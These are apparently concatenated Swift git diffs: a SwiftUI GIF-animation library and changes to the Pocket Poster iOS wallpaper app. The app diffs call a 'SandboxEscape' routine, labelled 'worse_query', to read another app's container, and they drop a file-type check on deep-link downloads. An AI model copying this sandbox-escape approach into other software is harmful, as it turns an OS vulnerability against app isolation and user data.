/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init?(
url: String,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
guard let resolvedURL = URL(string: url) else {
return nil
}
self.init(
source: GIFSource.remoteURL(resolvedURL),
animate: animate,
loop: loop,
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL of the image. The response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init(
url: URL,
animate: Bool = true,
loop: Bool = true,
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
url: url,
animate: .constant(animate),
loop: .constant(loop),
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - url: URL of the image. The response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init(
url: URL,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
source: GIFSource.remoteURL(url),
animate: animate,
loop: loop,
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - request: `URLRequest` of the image. The response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
init(
request: URLRequest,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
source: GIFSource.remoteRequest(request),
animate: animate,
loop: loop,
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
}
@@ -0,0 +1,137 @@
import SwiftUI
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item. The view will use the `ImageLoader` from the environment
/// to convert the fetch the `Data`
public struct GIFImage: View {
public let source: GIFSource
public let placeholder: RawImage
public let errorImage: RawImage?
private let presentationController: PresentationController
@Environment(\.imageLoader) var imageLoader
@State @MainActor private var frame: RawImage?
@Binding public var loop: Bool
@Binding public var animate: Bool
@State private var presentationTask: Task<(), Never>?
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
/// - animate: A flag to indicate that GIF should animate or not. If non-animated, the first frame will be displayed
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
public init(
source: GIFSource,
animate: Bool,
loop: Bool,
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.init(
source: source,
animate: .constant(animate),
loop: .constant(loop),
placeholder: placeholder,
errorImage: errorImage,
frameRate: frameRate,
loopAction: loopAction
)
}
/// `GIFImage` is a `View` that loads a `Data` object from a source into `CoreImage.CGImageSource`, parse the image source
/// into frames and stream them based in the "Delay" key packaged on which frame item.
///
/// - Parameters:
/// - source: Source of the image. If the source is remote, the response is cached using `URLCache`
/// - loop: Flag to indicate if the GIF should be played only once or continue to loop
/// - placeholder: Image to be used before the source is loaded
/// - errorImage: If the stream fails, this image is used
/// - frameRate: Option to control the frame rate of the animation or to use the GIF information about frame rate
/// - loopAction: Closure called whenever the GIF finishes rendering one cycle of the action
public init(
source: GIFSource,
animate: Binding<Bool> = Binding.constant(true),
loop: Binding<Bool> = Binding.constant(true),
placeholder: RawImage = RawImage(),
errorImage: RawImage? = nil,
frameRate: FrameRate = .dynamic,
loopAction: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.source = source
self._animate = animate
self._loop = loop
self.placeholder = placeholder
self.errorImage = errorImage
self.presentationController = PresentationController(
source: source,
frameRate: frameRate,
animate: animate,
loop: loop,
action: loopAction
)
}
public var body: some View {
Image.loadImage(with: frame ?? placeholder)
.resizable()
.scaledToFit()
.onChange(of: loop) { newValue in
handle(loop: newValue)
}
.onChange(of: animate) { newValue in
handle(animate: newValue)
}
.task(id: source, load)
}
private func handle(animate: Bool) {
if animate {
load()
} else {
presentationTask?.cancel()
}
}
private func handle(loop: Bool) {
if loop { load() }
}
@Sendable private func load() {
presentationTask?.cancel()
presentationTask = Task { await presentationController.start(
imageLoader: imageLoader,
fallbackImage: errorImage ?? placeholder,
frameUpdate: setFrame(_:)
)}
}
@MainActor
@Sendable private func setFrame(_ frame: RawImage) async {
self.frame = frame
}
}
#if DEBUG
let placeholder = RawImage.create(symbol: "photo.circle.fill")!
let error = RawImage.create(symbol: "xmark.octagon")
let gifURL = "https://raw.githubusercontent.com/igorcferreira/GIFImage/main/Tests/test.gif"
#Preview("Raw URL") {
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error)
}
#Preview("Limited 5 FPS") {
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .limited(fps: 5))
}
#Preview("Limited to 30 FPS") {
GIFImage(url: gifURL, placeholder: placeholder, errorImage: error, frameRate: .static(fps: 30))
}
#endif
@@ -0,0 +1,46 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
public actor CGImageSourceFrameSequence: AsyncSequence {
public typealias Element = ImageFrame
public enum LoadError: Error {
case invalidData
case emptyData
}
public let source: CGImageSource
public init(data: Data) throws {
guard let source = CGImageSourceCreateWithData(data as CFData, nil) else {
throw LoadError.invalidData
}
switch CGImageSourceGetStatus(source) {
case .statusComplete: break
case .statusReadingHeader: break
case .statusIncomplete: throw LoadError.emptyData
case .statusInvalidData: throw LoadError.invalidData
case .statusUnexpectedEOF: throw LoadError.invalidData
case .statusUnknownType: throw LoadError.invalidData
@unknown default: throw LoadError.invalidData
}
self.init(source: source)
}
public init(source: CGImageSource) {
self.source = source
}
nonisolated public func makeAsyncIterator() -> CGImageSourceIterator {
CGImageSourceIterator(source: source)
}
}
@@ -0,0 +1,36 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
public actor CGImageSourceIterator: AsyncIteratorProtocol {
public let frameCount: Int
public let source: CGImageSource
public private(set) var currentFrame: Int
public init(source: CGImageSource) {
self.source = source
self.frameCount = CGImageSourceGetCount(source)
self.currentFrame = 0
}
public func next() async throws -> ImageFrame? {
guard currentFrame < frameCount else {
return nil
}
let frame: ImageFrame? = if let image = CGImageSourceCreateImageAtIndex(source, currentFrame, nil) {
ImageFrame(image: image, interval: source.intervalAtIndex(currentFrame))
} else {
nil
}
currentFrame += 1
return frame
}
}
@@ -0,0 +1,80 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
/// Object responsible to load a `GIFSource` into a `ImageFrame` stream.
public struct ImageLoader {
public let session: URLSession
public let cache: URLCache
public let fileManager: FileManager
public init(session: URLSession = .shared, cache: URLCache = .shared, fileManager: FileManager = .default) {
self.session = session
self.cache = cache
self.fileManager = fileManager
}
public func load(source: GIFSource) async throws -> CGImageSourceFrameSequence {
let data = try await source.loadData(session: session, cache: cache, fileManager: fileManager)
return try data.imageAsyncSequence()
}
}
private extension GIFSource {
func loadData(session: URLSession, cache: URLCache, fileManager: FileManager) async throws -> Data {
switch self {
case let .static(data): data
case .remote(let url), .remoteURL(let url): try await url.loadData(session: session, cache: cache)
case let .remoteRequest(request): try await request.loadData(session: session, cache: cache)
case let .local(filePath): try await filePath.loadData(fileManager: fileManager)
}
}
}
private extension String {
func loadData(fileManager: FileManager) async throws -> Data {
guard fileManager.fileExists(atPath: self) else {
throw URLError(.fileDoesNotExist)
}
guard let data = fileManager.contents(atPath: self) else {
throw URLError(.cannotOpenFile)
}
return data
}
}
private extension URL {
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
let request = URLRequest(url: self)
return try await request.loadData(session: session, cache: cache)
}
}
private extension URLRequest {
func loadData(session: URLSession, cache: URLCache) async throws -> Data {
if let cache = cache.cachedResponse(for: self) {
return cache.data
}
let (data, response) = try await session.data(for: self)
guard let httpResponse = response as? HTTPURLResponse else {
throw URLError(.badServerResponse)
}
guard httpResponse.isSuccess else {
throw URLError(.init(rawValue: httpResponse.statusCode))
}
cache.storeCachedResponse(CachedURLResponse(response: response, data: data), for: self)
return data
}
}
private extension HTTPURLResponse {
var isSuccess: Bool {
200..<300 ~= statusCode
}
}
@@ -0,0 +1,65 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 9/9/22.
//
import Foundation
import SwiftUI
private let kDefaultGIFFrameInterval: TimeInterval = 1.0 / 24.0
struct PresentationController {
let source: GIFSource
let frameRate: FrameRate
let action: (GIFSource) async throws -> Void
@Binding var animate: Bool
@Binding var loop: Bool
init(
source: GIFSource,
frameRate: FrameRate,
animate: Binding<Bool>,
loop: Binding<Bool>,
action: @Sendable @escaping (GIFSource) async throws -> Void = { _ in }
) {
self.source = source
self.action = action
self.frameRate = frameRate
self._animate = animate
self._loop = loop
}
func start(imageLoader: ImageLoader, fallbackImage: RawImage, frameUpdate: (RawImage) async -> Void) async {
do {
repeat {
for try await imageFrame in try await imageLoader.load(source: source) {
try await update(imageFrame, frameUpdate: frameUpdate)
if !animate { break }
}
try await action(source)
} while(self.loop && self.animate)
} catch {
if !(error is CancellationError) {
await frameUpdate(fallbackImage)
}
}
}
private func update(_ imageFrame: ImageFrame, frameUpdate: (RawImage) async -> Void) async throws {
await frameUpdate(RawImage.create(with: imageFrame.image))
let calculatedInterval = imageFrame.interval ?? kDefaultGIFFrameInterval
let interval: Double
switch frameRate {
case .static(let fps):
interval = (1.0 / Double(fps))
case .limited(let fps):
let intervalLimit = (1.0 / Double(fps))
interval = max(calculatedInterval, intervalLimit)
case .dynamic:
interval = imageFrame.interval ?? kDefaultGIFFrameInterval
}
try await Task.sleep(nanoseconds: UInt64(interval * 1_000_000_000.0))
}
}
@@ -0,0 +1,15 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
extension CFString {
var asKey: UnsafeMutableRawPointer {
return Unmanaged.passUnretained(self).toOpaque()
}
}
@@ -0,0 +1,39 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
extension CGImageSource {
func intervalAtIndex(_ index: Int) -> TimeInterval? {
guard let properties = CGImageSourceCopyPropertiesAtIndex(self, index, nil) else {
return nil
}
guard let gifProperties = CFDictionaryGetValue(properties, kCGImagePropertyGIFDictionary.asKey) else {
return nil
}
let dictionary = unsafeBitCast(gifProperties, to: CFDictionary.self)
let pointer: UnsafeRawPointer
if let delay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFDelayTime.asKey) {
pointer = delay
} else if let unclampedDelay = CFDictionaryGetValue(dictionary, kCGImagePropertyGIFUnclampedDelayTime.asKey) {
pointer = unclampedDelay
} else {
return nil
}
let interval = unsafeBitCast(pointer, to: AnyObject.self).doubleValue ?? 0.0
if interval > 0.0 {
return interval
} else {
return nil
}
}
}
@@ -0,0 +1,15 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import Foundation
import ImageIO
extension Data {
func imageAsyncSequence() throws -> CGImageSourceFrameSequence {
return try CGImageSourceFrameSequence(data: self)
}
}
@@ -0,0 +1,28 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import SwiftUI
struct GIFImageEnvironment: EnvironmentKey {
static var defaultValue: ImageLoader = {
return ImageLoader()
}()
}
extension EnvironmentValues {
var imageLoader: ImageLoader {
get { self[GIFImageEnvironment.self] }
set { self[GIFImageEnvironment.self] = newValue }
}
}
extension View {
@ViewBuilder
func with(imageLoader: ImageLoader) -> some View {
environment(\.imageLoader, imageLoader)
}
}
@@ -0,0 +1,14 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 06/04/2022.
//
import Foundation
public enum FrameRate {
case dynamic
case limited(fps: Int)
case `static`(fps: Int)
}
@@ -0,0 +1,17 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 29/10/2020.
//
import Foundation
public enum GIFSource: Equatable {
@available(*, deprecated, renamed: "remoteURL(_:)")
case remote(url: URL)
case remoteURL(_ url: URL)
case remoteRequest(_ request: URLRequest)
case local(filePath: String)
case `static`(data: Data)
}
@@ -0,0 +1,14 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 29/10/2020.
//
import ImageIO
import Foundation
public struct ImageFrame {
public let image: CGImage
public let interval: TimeInterval?
}
@@ -0,0 +1,44 @@
//
// File.swift
//
//
// Created by Igor Ferreira on 05/04/2022.
//
import ImageIO
import SwiftUI
#if os(macOS)
import AppKit
public typealias RawImage = NSImage
#else
import UIKit
public typealias RawImage = UIImage
#endif
public extension RawImage {
static func create(with cgImage: CGImage) -> RawImage {
#if os(macOS)
return RawImage(cgImage: cgImage, size: NSSize(width: cgImage.width, height: cgImage.height))
#else
return RawImage(cgImage: cgImage)
#endif
}
static func create(symbol: String) -> RawImage? {
#if os(macOS)
return RawImage(systemSymbolName: symbol, accessibilityDescription: nil)
#else
return RawImage(systemName: symbol)
#endif
}
}
public extension Image {
static func loadImage(with image: RawImage) -> Image {
#if os(macOS)
return Image(nsImage: image)
#else
return Image(uiImage: image)
#endif
}
}
@@ -23,6 +23,12 @@
"value" : "Pocket Poster"
}
},
"bg" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"cs" : {
"stringUnit" : {
"state" : "translated",
@@ -71,12 +77,30 @@
"value" : "Pocket Poster"
}
},
"fr-CH" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"fr-LU" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"hu" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"it" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"ja" : {
"stringUnit" : {
"state" : "translated",
@@ -125,6 +149,12 @@
"value" : "Pocket Poster"
}
},
"zh-CN" : {
"stringUnit" : {
"state" : "translated",
"value" : "Pocket Poster"
}
},
"zh-Hant" : {
"stringUnit" : {
"state" : "translated",
@@ -153,6 +183,12 @@
"value" : "خلفيات Nugget"
}
},
"bg" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"cs" : {
"stringUnit" : {
"state" : "translated",
@@ -195,12 +231,30 @@
"value" : "Fond d'écran Nugget"
}
},
"fr-CH" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"fr-LU" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Wallpaper"
}
},
"hu" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget Háttérkép"
}
},
"it" : {
"stringUnit" : {
"state" : "translated",
"value" : "Sfondo di Nugget"
}
},
"ja" : {
"stringUnit" : {
"state" : "translated",
@@ -249,6 +303,12 @@
"value" : "Hình nền Nugget"
}
},
"zh-CN" : {
"stringUnit" : {
"state" : "translated",
"value" : "Nugget 墙纸"
}
},
"zh-Hant" : {
"stringUnit" : {
"state" : "translated",
+34 -30
View File
@@ -10,10 +10,13 @@ import SwiftUI
@main
struct Pocket_PosterApp: App {
// Prefs
@ObservedObject var dlManager = DownloadManager.shared
@AppStorage("finishedTutorial") var finishedTutorial: Bool = false
@AppStorage("pbHash") var pbHash: String = ""
@State var downloadURL: String? = nil
@State var checkedForUpdate: Bool = false
var body: some Scene {
WindowGroup {
@@ -26,20 +29,33 @@ struct Pocket_PosterApp: App {
}
.transition(.opacity)
.animation(.easeOut(duration: 0.5), value: finishedTutorial)
.onAppear {
// check for update
if !checkedForUpdate {
checkedForUpdate = true
if let version = Bundle.main.infoDictionary?["CFBundleShortVersionString"] as? String, let url = URL(string: "https://api.github.com/repos/leminlimez/Pocket-Poster/releases/latest") {
let task = URLSession.shared.dataTask(with: url) {(data, response, error) in
guard let data = data else { return }
if let json = try? JSONSerialization.jsonObject(with: data, options: .mutableContainers) as? [String: Any] {
if (json["tag_name"] as? String)?.replacingOccurrences(of: "v", with: "").compare(version, options: .numeric) == .orderedDescending {
UIApplication.shared.confirmAlert(
title: NSLocalizedString("Update Available", comment: "app update available on GitHub"),
body: String(format: NSLocalizedString("Pocket Poster %@ is available, do you want to visit releases page?", comment: "app update available on GitHub"), json["tag_name"] as? String ?? "update"),
onOK: {
UIApplication.shared.open(URL(string: "https://github.com/leminlimez/Pocket-Poster/releases/latest")!)
}, noCancel: false)
}
}
}
task.resume()
}
}
}
.onOpenURL(perform: { url in
// Download URL
if url.absoluteString.starts(with: "pocketposter://download") {
// prohibit to only tendies files
if !url.absoluteString.hasSuffix(".tendies") {
UIApplication.shared.alert(body: NSLocalizedString("Only .tendies files can be downloaded!", comment: ""))
} else if PosterBoardManager.shared.selectedTendies.count >= PosterBoardManager.MaxTendies {
UIApplication.shared.alert(title: NSLocalizedString("Max Tendies Reached", comment: ""), body: String(format: NSLocalizedString("You can only apply %@ descriptors.", comment: ""), "\(PosterBoardManager.MaxTendies)"))
} else {
downloadURL = url.absoluteString.replacingOccurrences(of: "pocketposter://download?url=", with: "")
UIApplication.shared.confirmAlert(title: NSLocalizedString("Download Tendies File", comment: ""), body: String(format: NSLocalizedString("Would you like to download the file %@?", comment: ""), "\(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))"), onOK: {
downloadWallpaper()
}, noCancel: false)
}
dlManager.startTendiesDownload(for: url)
}
// App Hash URL
else if url.absoluteString.starts(with: "pocketposter://app-hash?uuid=") {
@@ -51,7 +67,7 @@ struct Pocket_PosterApp: App {
} else {
// copy it over to the KFC bucket
do {
let newURL = try DownloadManager.copyTendies(from: url)
let newURL = try DownloadManager.shared.copyTendies(from: url)
PosterBoardManager.shared.selectedTendies.append(newURL)
Haptic.shared.notify(.success)
UIApplication.shared.alert(title: String(format: NSLocalizedString("Successfully imported %@", comment: ""), "\(url.lastPathComponent)"), body: "")
@@ -65,26 +81,14 @@ struct Pocket_PosterApp: App {
}
}
func downloadWallpaper() {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Downloading", comment: "") + " \(DownloadManager.getWallpaperNameFromURL(string: downloadURL ?? "/Unknown"))...", body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
Task {
do {
let newURL = try await DownloadManager.downloadFromURL(string: downloadURL!)
PosterBoardManager.shared.selectedTendies.append(newURL)
Haptic.shared.notify(.success)
UIApplication.shared.dismissAlert(animated: true)
} catch {
Haptic.shared.notify(.error)
UIApplication.shared.dismissAlert(animated: true)
UIApplication.shared.alert(title: NSLocalizedString("Could not download wallpaper!", comment: ""), body: error.localizedDescription)
}
}
}
init() {
// clear the videos cache
try? FileManager.default.removeItem(at: SymHandler.getDocumentsDirectory().appendingPathComponent("Videos", conformingTo: .directory))
if SelfTest.isEnabled {
DispatchQueue.global(qos: .userInitiated).async {
SelfTest.run()
}
}
}
}
@@ -0,0 +1,75 @@
//
// WebView.swift
// Pocket Poster
//
// Created by lemin on 7/6/25.
//
import Foundation
import SwiftUI
import WebKit
struct WallpaperWebView: UIViewRepresentable {
let url: URL
@Binding var isLoading: Bool
@Binding var error: Error?
init(_ url: URL, isLoading: Binding<Bool>, error: Binding<Error?>) {
self.url = url
self._isLoading = isLoading
self._error = error
}
func makeCoordinator() -> Coordinator {
Coordinator(self)
}
func makeUIView(context: Context) -> some UIView {
let configuration = WKWebViewConfiguration()
configuration.setURLSchemeHandler(AssetsSchemeHandler(), forURLScheme: "pocketposter")
let webView = WKWebView(frame: .zero, configuration: configuration)
webView.navigationDelegate = context.coordinator
webView.load(URLRequest(url: url))
return webView
}
func updateUIView(_ uiView: UIViewType, context: Context) {}
class Coordinator: NSObject, WKNavigationDelegate {
var parent: WallpaperWebView
init(_ parent: WallpaperWebView) {
self.parent = parent
}
func webView(_ webView: WKWebView, didStartProvisionalNavigation navigation: WKNavigation!) {
parent.isLoading = true
}
func webView(_ webView: WKWebView, didFinish navigation: WKNavigation!) {
parent.isLoading = false
}
func webView(_ webView: WKWebView, didFailProvisionalNavigation navigation: WKNavigation!, withError error: Error) {
return
let nsError = error as NSError
if nsError.code == NSURLErrorCancelled { return }
print("loading error: \(error)")
parent.isLoading = false
parent.error = error
}
}
}
class AssetsSchemeHandler: NSObject, WKURLSchemeHandler {
func webView(_ webView: WKWebView, start urlSchemeTask: WKURLSchemeTask) {
DispatchQueue.global().async {
print("handling scheme")
guard let url = urlSchemeTask.request.url, url.absoluteString.starts(with: "pocketposter://download") else { return }
print("url: \(url.absoluteString)")
DownloadManager.shared.startTendiesDownload(for: url)
}
}
func webView(_ webView: WKWebView, stop urlSchemeTask: WKURLSchemeTask) {
}
}
+58 -27
View File
@@ -58,10 +58,15 @@ struct ContentView: View {
}
Section {
if pbHash == "" {
if pbHash == "" && !SymHandler.prefersSandboxEscape {
Text("Enter your PosterBoard app hash in Settings.")
} else {
VStack {
if pbHash == "" && SymHandler.prefersSandboxEscape {
Text("No hash set — will auto-detect via worse_query on Apply.")
.font(.caption)
.foregroundStyle(.secondary)
}
if !pbManager.selectedTendies.isEmpty || !pbManager.videos.isEmpty {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
@@ -69,21 +74,23 @@ struct ContentView: View {
DispatchQueue.global(qos: .userInitiated).async {
do {
try pbManager.applyTendies(appHash: pbHash)
var hash = pbHash
if hash.isEmpty {
UIApplication.shared.change(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: "Detecting PosterBoard container…")
hash = try SandboxEscape.findPosterBoardHash()
DispatchQueue.main.async { pbHash = hash }
}
try pbManager.applyTendies(appHash: hash)
SymHandler.cleanup() // just to be extra sure
try? FileManager.default.removeItem(at: pbManager.getTendiesStoreURL())
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
DispatchQueue.main.async {
pbManager.selectedTendies.removeAll()
pbManager.videos.removeAll()
Haptic.shared.notify(.success)
UIApplication.shared.confirmAlert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("The PosterBoard app will now open. Please close it from the app switcher.", comment: ""), onOK: {
if !pbManager.openPosterBoard() {
UIApplication.shared.confirmAlert(title: NSLocalizedString("Falling Back to Shortcut", comment: ""), body: NSLocalizedString("PosterBoard failed to open directly. The fallback shortcut will now be opened.", comment: ""), onOK: {
pbManager.runShortcut(named: "PosterBoard")
}, noCancel: true)
}
}, noCancel: true)
})
// Instant Mond-style respring (no alert delay)
RespringHelper.respring()
}
} catch CocoaError.fileWriteUnknown {
presentError(ApplyError.wrongAppHash)
} catch CocoaError.fileWriteFileExists {
@@ -99,17 +106,41 @@ struct ContentView: View {
.buttonStyle(TintedButton(color: .blue, fullwidth: true))
}
Button(action: {
guard let lang = UserDefaults.standard.stringArray(forKey: "AppleLanguages")?.first else {
hideResetHelp = false // fallback to tutorial
return
}
UIApplication.shared.confirmAlert(title: NSLocalizedString("Reset Collections", comment: ""), body: NSLocalizedString("Do you want to reset collections?", comment: ""), onOK: {
if pbManager.setSystemLanguage(to: lang) {
UIApplication.shared.alert(title: NSLocalizedString("Collections Successfully Reset!", comment: ""), body: NSLocalizedString("Your PosterBoard will refresh automatically.", comment: ""))
} else {
UIApplication.shared.alert(body: "The API failed to call correctly.\nSystem Locale Code: \(lang)")
}
}, noCancel: false)
UIApplication.shared.confirmAlert(
title: NSLocalizedString("Reset Collections", comment: ""),
body: SymHandler.prefersSandboxEscape
? "This will wipe custom PosterBoard descriptors via worse_query, then respring."
: NSLocalizedString("Do you want to reset collections?", comment: ""),
onOK: {
UIApplication.shared.alert(
title: "Resetting…",
body: "Please wait",
animated: true,
withButton: false
)
DispatchQueue.global(qos: .userInitiated).async {
do {
var hash = pbHash
if hash.isEmpty && SymHandler.prefersSandboxEscape {
hash = try SandboxEscape.findPosterBoardHash()
DispatchQueue.main.async { pbHash = hash }
}
guard !hash.isEmpty else {
throw ApplyError.wrongAppHash
}
try pbManager.resetCollections(appHash: hash)
DispatchQueue.main.async {
Haptic.shared.notify(.success)
// Instant Mond-style respring
RespringHelper.respring()
}
} catch {
presentError(ApplyError.unexpected(info: error.localizedDescription))
}
}
},
noCancel: false
)
}) {
Label("Reset Collections", systemImage: "arrow.clockwise.circle")
}
@@ -167,11 +198,11 @@ struct ContentView: View {
func presentError(_ error: ApplyError) {
SymHandler.cleanup()
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
DispatchQueue.main.async {
Haptic.shared.notify(.error)
UIApplication.shared.alert(body: error.localizedDescription)
})
// alert() dismisses any buttonless progress sheet first, always with OK
UIApplication.shared.alert(body: error.localizedDescription, withButton: true)
}
}
init() {
@@ -0,0 +1,212 @@
//
// CarPlayView.swift
// Pocket Poster
//
// Created by lemin on 6/19/25.
//
import SwiftUI
import PhotosUI
struct CarPlayView: View {
@State var wallpapers: [CarPlayWallpaper] = []
@State var didChange: Bool = false
@State var showDark: Bool = false
@AppStorage("cpHash") var cpHash: String = ""
@State var activeWallpapers: [String] = []
@ObservedObject var pbManager = PosterBoardManager.shared
var body: some View {
NavigationStack {
ZStack {
ScrollView {
if wallpapers.isEmpty {
ProgressView()
} else {
LazyVGrid(columns: [GridItem(.adaptive(minimum: 150, maximum: 250))]) {
ForEach($wallpapers) { wallpaper in
ZStack {
WallpaperView(wallpaper: wallpaper, didChange: $didChange, showDark: $showDark)
.disabled(activeWallpapers.contains(wallpaper.name.wrappedValue))
// The checkmark
if activeWallpapers.contains(wallpaper.name.wrappedValue) {
RoundedRectangle(cornerRadius: 8)
.foregroundStyle(.black.opacity(0.4))
Image(systemName: "checkmark.circle.fill")
.font(.title)
.foregroundStyle(.green)
}
}
}
}
.padding()
}
}
VStack {
Spacer()
if didChange {
Button(action: {
UIImpactFeedbackGenerator(style: .soft).impactOccurred()
UIApplication.shared.alert(title: NSLocalizedString("Applying Wallpapers...", comment: ""), body: NSLocalizedString("Please wait", comment: ""), animated: false, withButton: false)
DispatchQueue.global(qos: .userInitiated).async {
do {
try CarPlayManager.applyCarPlay(appHash: cpHash, wallpapers: wallpapers)
SymHandler.cleanup() // just to be extra sure
UIApplication.shared.dismissAlert(animated: false)
DispatchQueue.main.asyncAfter(deadline: .now() + 0.35, execute: {
activeWallpapers = UserDefaults.standard.array(forKey: "ActiveCarPlayWallpapers") as? [String] ?? []
Haptic.shared.notify(.success)
UIApplication.shared.alert(title: NSLocalizedString("Success!", comment: ""), body: NSLocalizedString("You can now choose your wallpapers in the CarPlay settings in your car.", comment: ""))
})
} catch CocoaError.fileWriteUnknown {
presentError(ApplyError.wrongAppHash)
} catch CocoaError.fileWriteFileExists {
presentError(ApplyError.collectionsNeedsReset)
} catch {
print(error.localizedDescription)
presentError(ApplyError.unexpected(info: error.localizedDescription))
}
}
}) {
if cpHash == "" {
Text("Enter your CarPlayWallpaper app hash in Settings.")
} else {
Label("Apply CarPlay Wallpapers", systemImage: "checkmark.circle")
}
}
.buttonStyle(OpaqueButton(color: cpHash == "" ? .red : .blue, fullwidth: true))
.disabled(cpHash == "")
.padding(.vertical, 10)
.padding(.horizontal, 25)
.transition(.move(edge: .bottom))
.animation(.easeIn, value: didChange)
}
}
}
.navigationTitle("CarPlay Wallpapers")
.toolbar {
ToolbarItem(placement: .topBarTrailing, content: {
Button(action: {
withAnimation {
showDark.toggle()
}
